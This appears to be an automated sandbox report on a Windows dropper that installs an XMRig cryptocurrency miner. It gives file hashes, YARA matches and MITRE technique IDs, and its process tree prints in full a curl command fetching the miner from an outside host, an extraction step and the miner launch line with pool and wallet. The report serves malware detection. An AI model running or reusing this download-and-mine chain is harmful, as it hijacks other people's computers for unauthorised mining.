xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 20:54

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General

Target

test - Copy (10).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral1/files/0x0007000000023251-21.dat	family_xmrig
behavioral1/files/0x0007000000023251-21.dat	xmrig
behavioral1/memory/3652-26-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp	xmrig
behavioral1/memory/3652-27-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp	xmrig
behavioral1/memory/3652-30-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp	xmrig
behavioral1/memory/3652-31-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp	xmrig
behavioral1/memory/3652-33-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	test - Copy (10).exe

Executes dropped EXE 1 IoCs

pid	Process
3652	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3652	xmrig.exe
Token: SeLockMemoryPrivilege	3652	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3652	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3292 wrote to memory of 3064	3292	test - Copy (10).exe	88
PID 3292 wrote to memory of 3064	3292	test - Copy (10).exe	88
PID 3064 wrote to memory of 4208	3064	cmd.exe	91
PID 3064 wrote to memory of 4208	3064	cmd.exe	91
PID 3064 wrote to memory of 332	3064	cmd.exe	106
PID 3064 wrote to memory of 332	3064	cmd.exe	106
PID 3064 wrote to memory of 3652	3064	cmd.exe	107
PID 3064 wrote to memory of 3652	3064	cmd.exe	107

C:\Users\Admin\AppData\Local\Temp\test - Copy (10).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (10).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Sw1SNSfG.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:4208
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:332
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Sw1SNSfG.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
119KB

MD5
06d4c955be0c1032e647eae593d761c6

SHA1
034c490939df642d926f28934581fd14f48435a1

SHA256
fc2b952fd7bb4d0ca54d2cc5cf7a29d107946c6857c4f0ff116a03e4ea46f066

SHA512
dfb1a5536cd70fda062e7cb60d80b73db6158206d1baff1873935b02eabae7728ff59fe177a4a7afb5134e92ed5a67e26947a5908d6585bce19d60bc4172b4ce

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
3.8MB

MD5
d39f4af9ced4823b7dc3e75c14b5ed37

SHA1
eb62f7a74732bf87b334f1811a297edcdc47f3ac

SHA256
0518d94ba0cfed9ad49310df9482cb39bcc5b43ca128d5ef9e42e62ce0387744

SHA512
639a5b2e76b431b8b465c9580b2809b4ab9af9e62e3bd89badaff23ee899c934c610c62aa8ae88ddd4994197c495c15e16bb0a650faf460b8c323a3ca6e1ce77

Download Submit
memory/3292-0-0x00000000002E0000-0x00000000002E8000-memory.dmp

Filesize
32KB

Download
memory/3292-3-0x00007FFEF2680000-0x00007FFEF3141000-memory.dmp

Filesize
10.8MB

Download
memory/3292-7-0x00007FFEF2680000-0x00007FFEF3141000-memory.dmp

Filesize
10.8MB

Download
memory/3292-23-0x00007FFEF2680000-0x00007FFEF3141000-memory.dmp

Filesize
10.8MB

Download
memory/3652-25-0x000001D11C900000-0x000001D11C920000-memory.dmp

Filesize
128KB

Download
memory/3652-24-0x000001D11AFC0000-0x000001D11AFE0000-memory.dmp

Filesize
128KB

Download
memory/3652-26-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp

Filesize
11.0MB

Download
memory/3652-27-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp

Filesize
11.0MB

Download
memory/3652-28-0x000001D11C920000-0x000001D11C940000-memory.dmp

Filesize
128KB

Download
memory/3652-29-0x000001D11C940000-0x000001D11C960000-memory.dmp

Filesize
128KB

Download
memory/3652-30-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp

Filesize
11.0MB

Download
memory/3652-31-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp

Filesize
11.0MB

Download
memory/3652-33-0x00007FF7BEDD0000-0x00007FF7BF8D4000-memory.dmp

Filesize
11.0MB

Download

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Analysis